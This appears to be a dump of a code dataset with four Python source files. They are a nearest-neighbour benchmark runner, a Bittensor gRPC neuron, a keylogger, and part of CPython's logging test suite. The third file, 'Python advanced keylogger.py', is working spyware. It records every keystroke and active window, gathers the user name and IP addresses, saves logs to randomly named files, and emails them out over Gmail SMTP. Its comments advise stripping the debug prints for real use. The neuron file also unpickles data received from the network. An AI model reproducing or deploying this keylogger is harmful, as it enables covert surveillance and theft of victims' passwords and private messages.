source
stringlengths
3
86
python
stringlengths
75
1.04M
main.py
from __future__ import absolute_import import argparse import logging import logging.config import docker import multiprocessing.pool import os import psutil import random import shutil import sys import traceback from benchmark.datasets import DATASETS from benchmark.algorithms.definitions import (get_definitions, list_algorithms, algorithm_status, InstantiationStatus) from benchmark.results import get_result_filename from benchmark.runner import run, run_docker, run_no_docker from benchmark.sensors.power_capture import power_capture def positive_int(s): i = None try: i = int(s) except ValueError: pass if not i or i < 1: raise argparse.ArgumentTypeError("%r is not a positive integer" % s) return i def run_worker(args, queue): while not queue.empty(): definition = queue.get() memory_margin = 500e6 # reserve some extra memory for misc stuff mem_limit = int((psutil.virtual_memory().available - memory_margin)) #mem_limit = 128e9 # 128gb for competition cpu_limit = "0-%d" % (multiprocessing.cpu_count() - 1) if args.nodocker: run_no_docker(definition, args.dataset, args.count, args.runs, args.timeout, args.rebuild, cpu_limit, mem_limit, args.t3, args.power_capture, args.upload_index, args.download_index, args.blob_prefix, args.sas_string) else: run_docker(definition, args.dataset, args.count, args.runs, args.timeout, args.rebuild, cpu_limit, mem_limit, args.t3, args.power_capture, args.upload_index, args.download_index, args.blob_prefix, args.sas_string) def main(): parser = argparse.ArgumentParser( formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument( '--dataset', metavar='NAME', help='the dataset to load training points from', default='sift-1M', choices=DATASETS.keys()) parser.add_argument( "-k", "--count", default=-1, type=int, help="the number of near neighbours to search for") parser.add_argument( '--definitions', metavar='FILE', help='load algorithm definitions from FILE', default='algos.yaml') parser.add_argument( '--algorithm', metavar='NAME', help='run only the named algorithm', default=None) parser.add_argument( '--docker-tag', metavar='NAME', help='run only algorithms in a particular docker image', default=None) parser.add_argument( '--list-algorithms', help='print the names of all known algorithms and exit', action='store_true') parser.add_argument( '--force', help='re-run algorithms even if their results already exist', action='store_true') parser.add_argument( '--rebuild', help='re-build index even if it exists', action='store_true') parser.add_argument( '--runs', metavar='COUNT', type=positive_int, help='run each algorithm instance %(metavar)s times and use only' ' the best result', default=5) parser.add_argument( '--timeout', type=int, help='Timeout (in seconds) for each individual algorithm run, or -1' 'if no timeout should be set', default=12 * 3600) parser.add_argument( '--max-n-algorithms', type=int, help='Max number of algorithms to run (just used for testing)', default=-1) parser.add_argument( '--power-capture', help='Power capture parameters for the T3 competition. ' 'Format is "ip:port:capture_time_in seconds" (ie, 127.0.0.1:3000:10).', default="") parser.add_argument( '--t3', help='Run as a T3 participant.', action='store_true') parser.add_argument( '--nodocker', help='Override default of invoking algorithm in docker container.', action='store_true') parser.add_argument( '--upload-index', help='Upload index to Azure blob storage and avoid local queries.', action='store_true') parser.add_argument( '--download-index', help='Download index uploaded to Azure blob storage and run local queries.', action='store_true') parser.add_argument( '--blob-prefix', help='Azure blob prefix to upload indices to and download indices from.' ) parser.add_argument( '--sas-string', help='SAS string to authenticate to Azure blob storage.' ) args = parser.parse_args() if args.timeout == -1: args.timeout = None if args.list_algorithms: list_algorithms(args.definitions) sys.exit(0) if args.power_capture: # validate power capture environment power_capture( args.power_capture ) power_capture.ping() logging.config.fileConfig("logging.conf") logger = logging.getLogger("annb") dataset = DATASETS[args.dataset]() dataset.prepare(True) # prepare dataset, but skip potentially huge base vectors dimension = dataset.d point_type = 'float' distance = dataset.distance() if args.count == -1: args.count = dataset.default_count() definitions = get_definitions( args.definitions, dimension, args.dataset, distance, args.count) # Filter out, from the loaded definitions, all those query argument groups # that correspond to experiments that have already been run. (This might # mean removing a definition altogether, so we can't just use a list # comprehension.) filtered_definitions = [] for definition in definitions: query_argument_groups = definition.query_argument_groups if not query_argument_groups: query_argument_groups = [[]] not_yet_run = [] for query_arguments in query_argument_groups: if type(query_arguments) != list: query_arguments = [query_arguments] fn = get_result_filename(args.dataset, args.count, definition, query_arguments) if args.force or not os.path.exists(fn): not_yet_run.append(query_arguments) if not_yet_run: if definition.query_argument_groups: definition = definition._replace( query_argument_groups=not_yet_run) filtered_definitions.append(definition) definitions = filtered_definitions random.shuffle(definitions) if args.algorithm: logger.info(f'running only {args.algorithm}') definitions = [d for d in definitions if d.algorithm == args.algorithm] if not args.nodocker: # See which Docker images we have available docker_client = docker.from_env() docker_tags = set() for image in docker_client.images.list(): for tag in image.tags: tag = tag.split(':')[0] docker_tags.add(tag) if args.docker_tag: logger.info(f'running only {args.docker_tag}') definitions = [ d for d in definitions if d.docker_tag == args.docker_tag] if set(d.docker_tag for d in definitions).difference(docker_tags): logger.info(f'not all docker images available, only: {set(docker_tags)}') logger.info(f'missing docker images: ' f'{str(set(d.docker_tag for d in definitions).difference(docker_tags))}') definitions = [ d for d in definitions if d.docker_tag in docker_tags] if args.max_n_algorithms >= 0: definitions = definitions[:args.max_n_algorithms] if len(definitions) == 0: raise Exception('Nothing to run') else: logger.info(f'Order: {definitions}') queue = multiprocessing.Queue() for definition in definitions: queue.put(definition) #run_worker(args, queue) workers = [multiprocessing.Process(target=run_worker, args=(args, queue)) for i in range(1)] [worker.start() for worker in workers] [worker.join() for worker in workers]
neuron.py
import bittensor import visualizer from Crypto.Hash import SHA256 from concurrent import futures import grpc from loguru import logger import numpy as np import math import pickle import random import time from threading import Lock import threading import queue import tensorflow as tf from io import StringIO import matplotlib.pyplot as plt class Buffer: def __init__(self, source_id=None, parent_id=None, message_id=None, create_time=None, lspikes=None, uspikes=None, dspikes=None, lgrads=None): self.source_id = source_id self.parent_id = parent_id self.message_id = message_id self.create_time = create_time self.lspikes = lspikes self.uspikes = uspikes self.dspikes = dspikes self.lgrads = lgrads def set(self, source_id=None, parent_id=None, message_id=None, create_time=None, lspikes=None, uspikes=None, dspikes=None, lgrads=None): if not self.source_id: self.source_id = source_id if not self.parent_id: self.parent_id = parent_id if not self.message_id: self.message_id = message_id if not self.create_time: self.create_time = create_time if not self.lspikes: self.lspikes = lspikes if not self.uspikes: self.uspikes = uspikes if not self.dspikes: self.dspikes = dspikes if not self.lgrads: self.lgrads = lgrads class Neuron(bittensor.proto.bittensor_pb2_grpc.BittensorServicer): def __init__(self, config, nucleus, metagraph): self.config = config self.nucleus = nucleus self.metagraph = metagraph self._is_training = True self.current_stats = { 'gs': None, 'step': None, 'mem': None, 'loss': None, 'metrics': None, 'scores': None } self.lock = Lock() self.memory = {} # Metrics self._metrics = {} # child scores. self._scores = [0 for _ in range(self.config.n_children + 1)] # Init server. self.server_address = self.config.bind_address + ":" + self.config.port self.server = grpc.server(futures.ThreadPoolExecutor(max_workers=10)) bittensor.proto.bittensor_pb2_grpc.add_BittensorServicer_to_server( self, self.server) visualizer.proto.visualizer_pb2_grpc.add_VisualizerServicer_to_server(self, self.server) self.server.add_insecure_port(self.server_address) self.channels = [None for _ in range(self.config.n_children)] self.channel_ids = [None for _ in range(self.config.n_children)] self.connect() def connect(self): for i in range(self.config.n_children): if self.channels[i] == None: self._set_channel(i) def _set_channel(self, i): for node in self.metagraph.nodes.values(): if node.identity in self.channel_ids: continue if node.identity == self.config.identity: continue else: address = node.address + ':' + node.port self.channels[i] = grpc.insecure_channel(address) self.channel_ids[i] = node.identity break def __del__(self): self.server.stop(0) self._stop_training() logger.debug('Stopped Serving Neuron at: {}.', self.server_address) def serve(self): self.server.start() self._start_training() logger.debug('Started Serving Neuron at: {}.', self.server_address) def _spike_future(self, channel, source_id, message_id, payload): if channel == None: return None try: # Build Stub and request proto. stub = bittensor.proto.bittensor_pb2_grpc.BittensorStub(channel) # Create spike request proto. request = bittensor.proto.bittensor_pb2.SpikeRequest( version=1.0, source_id=source_id, parent_id=self.config.identity, message_id=message_id, payload=payload) # Send TCP spike request with futures callback. return stub.Spike.future(request) except: return None def _fill_dspikes(self, dspikes, futures): while True: remaining_futures = sum(1 for _ in filter(None.__ne__, self.channel_ids)) for i in range(self.config.n_children): if futures[i] != None: if futures[i].done(): remaining_futures -= 1 try: result = futures[i].result() next_dspikes = pickle.loads(result.payload).reshape( -1, 128) dspikes[i] = next_dspikes except: pass if remaining_futures == 0: break return dspikes def Spike(self, request, context): # Unpack message. source_id = request.source_id parent_id = request.parent_id message_id = request.message_id uspikes = pickle.loads(request.payload) if parent_id not in self._metrics: self._metrics[parent_id] = 0 self._metrics[parent_id] += 1 # 1. Check and build message buffer. On recursion with loops we respond # with a null message if the message_id has been seen already. self.lock.acquire() try: # Check for duplicates. if message_id in self.memory: # Return null repsonse. zeros_payload = pickle.dumps(np.zeros((len(uspikes), self.config.n_embedding)), protocol=0) response = bittensor.proto.bittensor_pb2.SpikeResponse( version=1.0, source_id=source_id, child_id=self.config.identity, message_id=message_id, payload=zeros_payload) return response # Build new message buffer. msg_buffer = Buffer(source_id=source_id, parent_id=parent_id, message_id=message_id, create_time=time.time()) self.memory[message_id] = msg_buffer finally: self.lock.release() # 4. Fill downstream spikes. (all zeros) dspikes = [np.zeros((len(uspikes), 128)) for _ in range(self.config.n_children)] # 5. Inference local neuron. lspikes = self.nucleus.spike(uspikes, dspikes, use_synthetic=True) # 6. Sink output to memory. self.lock.acquire() try: self.memory[message_id].set(uspikes=uspikes, lspikes=lspikes, dspikes=dspikes) finally: self.lock.release() # 7. Build response. payload = pickle.dumps(lspikes, protocol=0) response = bittensor.proto.bittensor_pb2.SpikeResponse( version=1.0, source_id=source_id, child_id=self.config.identity, message_id=message_id, payload=payload) # Return. return response def Grade(self, request, context): # Unpack request. source_id = request.source_id parent_id = request.parent_id message_id = request.message_id ugrades = pickle.loads(request.payload) # Check for lost or badly routed grades. if message_id not in self.memory: return bittensor.proto.bittensor_pb2.GradeResponse(accept=True) # Get local spikes. mem_buffer = self.memory[message_id] # Get local spikes. lspikes = mem_buffer.lspikes # Get downstream spikes. dspikes = mem_buffer.dspikes # Get upstream spikes uspikes = mem_buffer.uspikes # Get downstream grads and local grads. dgrades = self.nucleus.grade(ugrades, uspikes, dspikes) # delete memory: del self.memory[message_id] return bittensor.proto.bittensor_pb2.GradeResponse(accept=True) def _start_training(self): self._is_training = True self._thread = threading.Thread(target=self._run, daemon=True) self._thread.start() def _stop_training(self): self._is_training = False self._thread.join() def _run(self): step = 0 last_log_step = 0 last_log_time = time.time() while self._is_training: step+=1 # 1. Next training batch. nounce = str(random.randint(0, 1000000000)) spikes, targets = self.nucleus.next_batch(self.config.batch_size) # 2. Encode nounce and source source_id = self.config.identity nounce_bytes = bytes(nounce, 'utf-8') source_bytes = bytes(source_id, 'utf-8') payload_bytes = pickle.dumps(spikes, protocol=0) # 3. Create unique message hash. hash = SHA256.new() hash.update(nounce_bytes) hash.update(source_bytes) hash.update(payload_bytes) message_id = hash.digest() # 3. Make recursive calls to downstream neighbors. # futures is a list of callbacks from each downstream call. futures = [] for channel in self.channels: futures.append(self._spike_future(channel, source_id, message_id, payload_bytes)) # 4. Fill responses. dspikes = [np.zeros((self.config.batch_size, self.config.n_embedding)) for _ in range(self.config.n_children)] dspikes = self._fill_dspikes(dspikes, futures) # 5. Train local model. dgrads, loss, scores = self.nucleus.train(spikes, dspikes, targets) # 6. Send downstream grads. for i, channel in enumerate(self.channels): if channel is None: continue # Build Stub and request proto. stub = bittensor.proto.bittensor_pb2_grpc.BittensorStub(channel) # Build Grade Request proto. request = bittensor.proto.bittensor_pb2.GradeRequest( version=1.0, source_id=source_id, parent_id=self.config.identity, message_id=message_id, payload=pickle.dumps(dgrads[i][0], protocol=0)) # Send async grade request. stub.Grade.future(request) # 7. Average score values. for i, score in enumerate(scores): prev_score = (self._scores[i] * (1 - self.config.score_ema)) next_score = score * (self.config.score_ema) self._scores[i] = prev_score + next_score # 8. Logs if step % 50 == 49: time_now = time.time() # Clean mem. for key in self.memory: val = self.memory[key] if val.create_time - time_now > 5: del self.memory[key] # global step calulcation and log. steps_since_last_log = last_log_step - step secs_since_last_log = last_log_time - time_now last_log_step = step last_log_time = time_now gs = steps_since_last_log / secs_since_last_log # Clean and average the scores. clean_scores = self._clean_scores(self.config.identity, 0.5, self.channel_ids, self._scores) # Record stats for later consumption by visualizer self.current_stats['gs'] = gs self.current_stats['step'] = step self.current_stats['mem'] = len(self.memory) self.current_stats['loss'] = loss self.current_stats['metrics'] = self._metrics self.current_stats['score'] = clean_scores self.metagraph.attributions = clean_scores logger.info('gs {} mem {} loss {} scores {}', gs, len(self.memory), loss, clean_scores) def _clean_scores(self, in_id, in_loop, channel_ids, scores): # Get non-null scores. non_null_scores = [] non_null_ids = [] for i, idn in enumerate(channel_ids): if idn != None: non_null_scores.append(scores[i]) non_null_ids.append(idn) # Null children return self loop = 1. if len(non_null_ids) == 0: return [(in_id, 1.0)] # Up shift. min_non_null = abs(min(non_null_scores)) non_null_scores = [score + min_non_null*2 for score in non_null_scores] # Normalize child scores. norm_child_scores = [] if sum(non_null_scores) != 0: norm_child_scores = [ score * in_loop / sum(non_null_scores) for score in non_null_scores] else: norm_child_scores = [ in_loop * (1 / len(non_null_scores)) for _ in non_null_scores] # Zip it. Zip it good. return_val = [(in_id, in_loop)] return_val += list(zip(non_null_ids, norm_child_scores)) return return_val def Report(self, request, context): source_id = request.source_id payload_bytes = pickle.dumps(self.current_stats) return visualizer.visualizer_pb2.ReportResponse( version=1.0, source_id="2", payload=payload_bytes )
Python advanced keylogger.py
#//python keylogging program ## You will need to comment out the prints and exception prints on code if you were to use this for real, as its testing ## i have prints on here that will tell you and let you know what part of the program is going at the time and that it is ## working # Surport me and subscribe to my YouTube tutorial channel - https://bit.ly/2U58Lt9 / link also in my description. Thanks. #imports from pynput.keyboard import Key,Listener import win32gui import os import time import requests import socket import random import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase from email import encoders import threading import config datetime = time.ctime(time.time()) user = os.path.expanduser('~').split('\\')[2] publicIP = requests.get('https://api.ipify.org/').text privateIP = socket.gethostbyname(socket.gethostname()) msg = f'[START OF LOGS]\n *~ Date/Time: {datetime}\n *~ User-Profile: {user}\n *~ Public-IP: {publicIP}\n *~ Private-IP: {privateIP}\n\n' logged_data = [] logged_data.append(msg) old_app = '' delete_file = [] def on_press(key): global old_app new_app = win32gui.GetWindowText(win32gui.GetForegroundWindow()) if new_app == 'Cortana': new_app = 'Windows Start Menu' else: pass if new_app != old_app and new_app != '': logged_data.append(f'[{datetime}] ~ {new_app}\n') old_app = new_app else: pass substitution = ['Key.enter', '[ENTER]\n', 'Key.backspace', '[BACKSPACE]', 'Key.space', ' ', 'Key.alt_l', '[ALT]', 'Key.tab', '[TAB]', 'Key.delete', '[DEL]', 'Key.ctrl_l', '[CTRL]', 'Key.left', '[LEFT ARROW]', 'Key.right', '[RIGHT ARROW]', 'Key.shift', '[SHIFT]', '\\x13', '[CTRL-S]', '\\x17', '[CTRL-W]', 'Key.caps_lock', '[CAPS LK]', '\\x01', '[CTRL-A]', 'Key.cmd', '[WINDOWS KEY]', 'Key.print_screen', '[PRNT SCR]', '\\x03', '[CTRL-C]', '\\x16', '[CTRL-V]'] key = str(key).strip('\'') if key in substitution: logged_data.append(substitution[substitution.index(key)+1]) else: logged_data.append(key) def write_file(count): one = os.path.expanduser('~') + '/Downloads/' two = os.path.expanduser('~') + '/Pictures/' #three = 'C:/' list = [one,two] filepath = random.choice(list) filename = str(count) + 'I' + str(random.randint(1000000,9999999)) + '.txt' file = filepath + filename delete_file.append(file) with open(file,'w') as fp: fp.write(''.join(logged_data)) print('written all good') def send_logs(): count = 0 fromAddr = config.fromAddr fromPswd = config.fromPswd toAddr = fromAddr MIN = 10 SECONDS = 60 #time.sleep(MIN * SECONDS) # every 10 mins write file/send log time.sleep(30) # for debugging ~ yes program works :) while True: if len(logged_data) > 1: try: write_file(count) subject = f'[{user}] ~ {count}' msg = MIMEMultipart() msg['From'] = fromAddr msg['To'] = toAddr msg['Subject'] = subject body = 'testing' msg.attach(MIMEText(body,'plain')) attachment = open(delete_file[0],'rb') print('attachment') filename = delete_file[0].split('/')[2] part = MIMEBase('application','octect-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('content-disposition','attachment;filename='+str(filename)) msg.attach(part) text = msg.as_string() print('test msg.as_string') s = smtplib.SMTP('smtp.gmail.com',587) s.ehlo() s.starttls() print('starttls') s.ehlo() s.login(fromAddr,fromPswd) s.sendmail(fromAddr,toAddr,text) print('sent mail') attachment.close() s.close() os.remove(delete_file[0]) del logged_data[1:] del delete_file[0:] print('delete data/files') count += 1 except Exception as errorString: print('[!] send_logs // Error.. ~ %s' % (errorString)) pass if __name__=='__main__': T1 = threading.Thread(target=send_logs) T1.start() with Listener(on_press=on_press) as listener: listener.join()
test_logging.py
# Copyright 2001-2017 by Vinay Sajip. All Rights Reserved. # # Permission to use, copy, modify, and distribute this software and its # documentation for any purpose and without fee is hereby granted, # provided that the above copyright notice appear in all copies and that # both that copyright notice and this permission notice appear in # supporting documentation, and that the name of Vinay Sajip # not be used in advertising or publicity pertaining to distribution # of the software without specific, written prior permission. # VINAY SAJIP DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING # ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL # VINAY SAJIP BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR # ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER # IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT # OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. """Test harness for the logging module. Run all tests. Copyright (C) 2001-2017 Vinay Sajip. All Rights Reserved. """ import logging import logging.handlers import logging.config import codecs import configparser import datetime import pathlib import pickle import io import gc import json import os import queue import random import re import socket import struct import sys import tempfile from test.support.script_helper import assert_python_ok from test import support import textwrap import threading import time import unittest import warnings import weakref import asyncore from http.server import HTTPServer, BaseHTTPRequestHandler import smtpd from urllib.parse import urlparse, parse_qs from socketserver import (ThreadingUDPServer, DatagramRequestHandler, ThreadingTCPServer, StreamRequestHandler) try: import win32evtlog, win32evtlogutil, pywintypes except ImportError: win32evtlog = win32evtlogutil = pywintypes = None try: import zlib except ImportError: pass class BaseTest(unittest.TestCase): """Base class for logging tests.""" log_format = "%(name)s -> %(levelname)s: %(message)s" expected_log_pat = r"^([\w.]+) -> (\w+): (\d+)$" message_num = 0 def setUp(self): """Setup the default logging stream to an internal StringIO instance, so that we can examine log output as we want.""" self._threading_key = support.threading_setup() logger_dict = logging.getLogger().manager.loggerDict logging._acquireLock() try: self.saved_handlers = logging._handlers.copy() self.saved_handler_list = logging._handlerList[:] self.saved_loggers = saved_loggers = logger_dict.copy() self.saved_name_to_level = logging._nameToLevel.copy() self.saved_level_to_name = logging._levelToName.copy() self.logger_states = logger_states = {} for name in saved_loggers: logger_states[name] = getattr(saved_loggers[name], 'disabled', None) finally: logging._releaseLock() # Set two unused loggers self.logger1 = logging.getLogger("\xab\xd7\xbb") self.logger2 = logging.getLogger("\u013f\u00d6\u0047") self.root_logger = logging.getLogger("") self.original_logging_level = self.root_logger.getEffectiveLevel() self.stream = io.StringIO() self.root_logger.setLevel(logging.DEBUG) self.root_hdlr = logging.StreamHandler(self.stream) self.root_formatter = logging.Formatter(self.log_format) self.root_hdlr.setFormatter(self.root_formatter) if self.logger1.hasHandlers(): hlist = self.logger1.handlers + self.root_logger.handlers raise AssertionError('Unexpected handlers: %s' % hlist) if self.logger2.hasHandlers(): hlist = self.logger2.handlers + self.root_logger.handlers raise AssertionError('Unexpected handlers: %s' % hlist) self.root_logger.addHandler(self.root_hdlr) self.assertTrue(self.logger1.hasHandlers()) self.assertTrue(self.logger2.hasHandlers()) def tearDown(self): """Remove our logging stream, and restore the original logging level.""" self.stream.close() self.root_logger.removeHandler(self.root_hdlr) while self.root_logger.handlers: h = self.root_logger.handlers[0] self.root_logger.removeHandler(h) h.close() self.root_logger.setLevel(self.original_logging_level) logging._acquireLock() try: logging._levelToName.clear() logging._levelToName.update(self.saved_level_to_name) logging._nameToLevel.clear() logging._nameToLevel.update(self.saved_name_to_level) logging._handlers.clear() logging._handlers.update(self.saved_handlers) logging._handlerList[:] = self.saved_handler_list manager = logging.getLogger().manager manager.disable = 0 loggerDict = manager.loggerDict loggerDict.clear() loggerDict.update(self.saved_loggers) logger_states = self.logger_states for name in self.logger_states: if logger_states[name] is not None: self.saved_loggers[name].disabled = logger_states[name] finally: logging._releaseLock() self.doCleanups() support.threading_cleanup(*self._threading_key) def assert_log_lines(self, expected_values, stream=None, pat=None): """Match the collected log lines against the regular expression self.expected_log_pat, and compare the extracted group values to the expected_values list of tuples.""" stream = stream or self.stream pat = re.compile(pat or self.expected_log_pat) actual_lines = stream.getvalue().splitlines() self.assertEqual(len(actual_lines), len(expected_values)) for actual, expected in zip(actual_lines, expected_values): match = pat.search(actual) if not match: self.fail("Log line does not match expected pattern:\n" + actual) self.assertEqual(tuple(match.groups()), expected) s = stream.read() if s: self.fail("Remaining output at end of log stream:\n" + s) def next_message(self): """Generate a message consisting solely of an auto-incrementing integer.""" self.message_num += 1 return "%d" % self.message_num class BuiltinLevelsTest(BaseTest): """Test builtin levels and their inheritance.""" def test_flat(self): # Logging levels in a flat logger namespace. m = self.next_message ERR = logging.getLogger("ERR") ERR.setLevel(logging.ERROR) INF = logging.LoggerAdapter(logging.getLogger("INF"), {}) INF.setLevel(logging.INFO) DEB = logging.getLogger("DEB") DEB.setLevel(logging.DEBUG) # These should log. ERR.log(logging.CRITICAL, m()) ERR.error(m()) INF.log(logging.CRITICAL, m()) INF.error(m()) INF.warning(m()) INF.info(m()) DEB.log(logging.CRITICAL, m()) DEB.error(m()) DEB.warning(m()) DEB.info(m()) DEB.debug(m()) # These should not log. ERR.warning(m()) ERR.info(m()) ERR.debug(m()) INF.debug(m()) self.assert_log_lines([ ('ERR', 'CRITICAL', '1'), ('ERR', 'ERROR', '2'), ('INF', 'CRITICAL', '3'), ('INF', 'ERROR', '4'), ('INF', 'WARNING', '5'), ('INF', 'INFO', '6'), ('DEB', 'CRITICAL', '7'), ('DEB', 'ERROR', '8'), ('DEB', 'WARNING', '9'), ('DEB', 'INFO', '10'), ('DEB', 'DEBUG', '11'), ]) def test_nested_explicit(self): # Logging levels in a nested namespace, all explicitly set. m = self.next_message INF = logging.getLogger("INF") INF.setLevel(logging.INFO) INF_ERR = logging.getLogger("INF.ERR") INF_ERR.setLevel(logging.ERROR) # These should log. INF_ERR.log(logging.CRITICAL, m()) INF_ERR.error(m()) # These should not log. INF_ERR.warning(m()) INF_ERR.info(m()) INF_ERR.debug(m()) self.assert_log_lines([ ('INF.ERR', 'CRITICAL', '1'), ('INF.ERR', 'ERROR', '2'), ]) def test_nested_inherited(self): # Logging levels in a nested namespace, inherited from parent loggers. m = self.next_message INF = logging.getLogger("INF") INF.setLevel(logging.INFO) INF_ERR = logging.getLogger("INF.ERR") INF_ERR.setLevel(logging.ERROR) INF_UNDEF = logging.getLogger("INF.UNDEF") INF_ERR_UNDEF = logging.getLogger("INF.ERR.UNDEF") UNDEF = logging.getLogger("UNDEF") # These should log. INF_UNDEF.log(logging.CRITICAL, m()) INF_UNDEF.error(m()) INF_UNDEF.warning(m()) INF_UNDEF.info(m()) INF_ERR_UNDEF.log(logging.CRITICAL, m()) INF_ERR_UNDEF.error(m()) # These should not log. INF_UNDEF.debug(m()) INF_ERR_UNDEF.warning(m()) INF_ERR_UNDEF.info(m()) INF_ERR_UNDEF.debug(m()) self.assert_log_lines([ ('INF.UNDEF', 'CRITICAL', '1'), ('INF.UNDEF', 'ERROR', '2'), ('INF.UNDEF', 'WARNING', '3'), ('INF.UNDEF', 'INFO', '4'), ('INF.ERR.UNDEF', 'CRITICAL', '5'), ('INF.ERR.UNDEF', 'ERROR', '6'), ]) def test_nested_with_virtual_parent(self): # Logging levels when some parent does not exist yet. m = self.next_message INF = logging.getLogger("INF") GRANDCHILD = logging.getLogger("INF.BADPARENT.UNDEF") CHILD = logging.getLogger("INF.BADPARENT") INF.setLevel(logging.INFO) # These should log. GRANDCHILD.log(logging.FATAL, m()) GRANDCHILD.info(m()) CHILD.log(logging.FATAL, m()) CHILD.info(m()) # These should not log. GRANDCHILD.debug(m()) CHILD.debug(m()) self.assert_log_lines([ ('INF.BADPARENT.UNDEF', 'CRITICAL', '1'), ('INF.BADPARENT.UNDEF', 'INFO', '2'), ('INF.BADPARENT', 'CRITICAL', '3'), ('INF.BADPARENT', 'INFO', '4'), ]) def test_regression_22386(self): """See issue #22386 for more information.""" self.assertEqual(logging.getLevelName('INFO'), logging.INFO) self.assertEqual(logging.getLevelName(logging.INFO), 'INFO') def test_regression_29220(self): """See issue #29220 for more information.""" logging.addLevelName(logging.INFO, '') self.addCleanup(logging.addLevelName, logging.INFO, 'INFO') self.assertEqual(logging.getLevelName(logging.INFO), '') def test_issue27935(self): fatal = logging.getLevelName('FATAL') self.assertEqual(fatal, logging.FATAL) def test_regression_29220(self): """See issue #29220 for more information.""" logging.addLevelName(logging.INFO, '') self.addCleanup(logging.addLevelName, logging.INFO, 'INFO') self.assertEqual(logging.getLevelName(logging.INFO), '') self.assertEqual(logging.getLevelName(logging.NOTSET), 'NOTSET') self.assertEqual(logging.getLevelName('NOTSET'), logging.NOTSET) class BasicFilterTest(BaseTest): """Test the bundled Filter class.""" def test_filter(self): # Only messages satisfying the specified criteria pass through the # filter. filter_ = logging.Filter("spam.eggs") handler = self.root_logger.handlers[0] try: handler.addFilter(filter_) spam = logging.getLogger("spam") spam_eggs = logging.getLogger("spam.eggs") spam_eggs_fish = logging.getLogger("spam.eggs.fish") spam_bakedbeans = logging.getLogger("spam.bakedbeans") spam.info(self.next_message()) spam_eggs.info(self.next_message()) # Good. spam_eggs_fish.info(self.next_message()) # Good. spam_bakedbeans.info(self.next_message()) self.assert_log_lines([ ('spam.eggs', 'INFO', '2'), ('spam.eggs.fish', 'INFO', '3'), ]) finally: handler.removeFilter(filter_) def test_callable_filter(self): # Only messages satisfying the specified criteria pass through the # filter. def filterfunc(record): parts = record.name.split('.') prefix = '.'.join(parts[:2]) return prefix == 'spam.eggs' handler = self.root_logger.handlers[0] try: handler.addFilter(filterfunc) spam = logging.getLogger("spam") spam_eggs = logging.getLogger("spam.eggs") spam_eggs_fish = logging.getLogger("spam.eggs.fish") spam_bakedbeans = logging.getLogger("spam.bakedbeans") spam.info(self.next_message()) spam_eggs.info(self.next_message()) # Good. spam_eggs_fish.info(self.next_message()) # Good. spam_bakedbeans.info(self.next_message()) self.assert_log_lines([ ('spam.eggs', 'INFO', '2'), ('spam.eggs.fish', 'INFO', '3'), ]) finally: handler.removeFilter(filterfunc) def test_empty_filter(self): f = logging.Filter() r = logging.makeLogRecord({'name': 'spam.eggs'}) self.assertTrue(f.filter(r)) # # First, we define our levels. There can be as many as you want - the only # limitations are that they should be integers, the lowest should be > 0 and # larger values mean less information being logged. If you need specific # level values which do not fit into these limitations, you can use a # mapping dictionary to convert between your application levels and the # logging system. # SILENT = 120 TACITURN = 119 TERSE = 118 EFFUSIVE = 117 SOCIABLE = 116 VERBOSE = 115 TALKATIVE = 114 GARRULOUS = 113 CHATTERBOX = 112 BORING = 111 LEVEL_RANGE = range(BORING, SILENT + 1) # # Next, we define names for our levels. You don't need to do this - in which # case the system will use "Level n" to denote the text for the level. # my_logging_levels = { SILENT : 'Silent', TACITURN : 'Taciturn', TERSE : 'Terse', EFFUSIVE : 'Effusive', SOCIABLE : 'Sociable', VERBOSE : 'Verbose', TALKATIVE : 'Talkative', GARRULOUS : 'Garrulous', CHATTERBOX : 'Chatterbox', BORING : 'Boring', } class GarrulousFilter(logging.Filter): """A filter which blocks garrulous messages.""" def filter(self, record): return record.levelno != GARRULOUS class VerySpecificFilter(logging.Filter): """A filter which blocks sociable and taciturn messages.""" def filter(self, record): return record.levelno not in [SOCIABLE, TACITURN] class CustomLevelsAndFiltersTest(BaseTest): """Test various filtering possibilities with custom logging levels.""" # Skip the logger name group. expected_log_pat = r"^[\w.]+ -> (\w+): (\d+)$" def setUp(self): BaseTest.setUp(self) for k, v in my_logging_levels.items(): logging.addLevelName(k, v) def log_at_all_levels(self, logger): for lvl in LEVEL_RANGE: logger.log(lvl, self.next_message()) def test_logger_filter(self): # Filter at logger level. self.root_logger.setLevel(VERBOSE) # Levels >= 'Verbose' are good. self.log_at_all_levels(self.root_logger) self.assert_log_lines([ ('Verbose', '5'), ('Sociable', '6'), ('Effusive', '7'), ('Terse', '8'), ('Taciturn', '9'), ('Silent', '10'), ]) def test_handler_filter(self): # Filter at handler level. self.root_logger.handlers[0].setLevel(SOCIABLE) try: # Levels >= 'Sociable' are good. self.log_at_all_levels(self.root_logger) self.assert_log_lines([ ('Sociable', '6'), ('Effusive', '7'), ('Terse', '8'), ('Taciturn', '9'), ('Silent', '10'), ]) finally: self.root_logger.handlers[0].setLevel(logging.NOTSET) def test_specific_filters(self): # Set a specific filter object on the handler, and then add another # filter object on the logger itself. handler = self.root_logger.handlers[0] specific_filter = None garr = GarrulousFilter() handler.addFilter(garr) try: self.log_at_all_levels(self.root_logger) first_lines = [ # Notice how 'Garrulous' is missing ('Boring', '1'), ('Chatterbox', '2'), ('Talkative', '4'), ('Verbose', '5'), ('Sociable', '6'), ('Effusive', '7'), ('Terse', '8'), ('Taciturn', '9'), ('Silent', '10'), ] self.assert_log_lines(first_lines) specific_filter = VerySpecificFilter() self.root_logger.addFilter(specific_filter) self.log_at_all_levels(self.root_logger) self.assert_log_lines(first_lines + [ # Not only 'Garrulous' is still missing, but also 'Sociable' # and 'Taciturn' ('Boring', '11'), ('Chatterbox', '12'), ('Talkative', '14'), ('Verbose', '15'), ('Effusive', '17'), ('Terse', '18'), ('Silent', '20'), ]) finally: if specific_filter: self.root_logger.removeFilter(specific_filter) handler.removeFilter(garr) 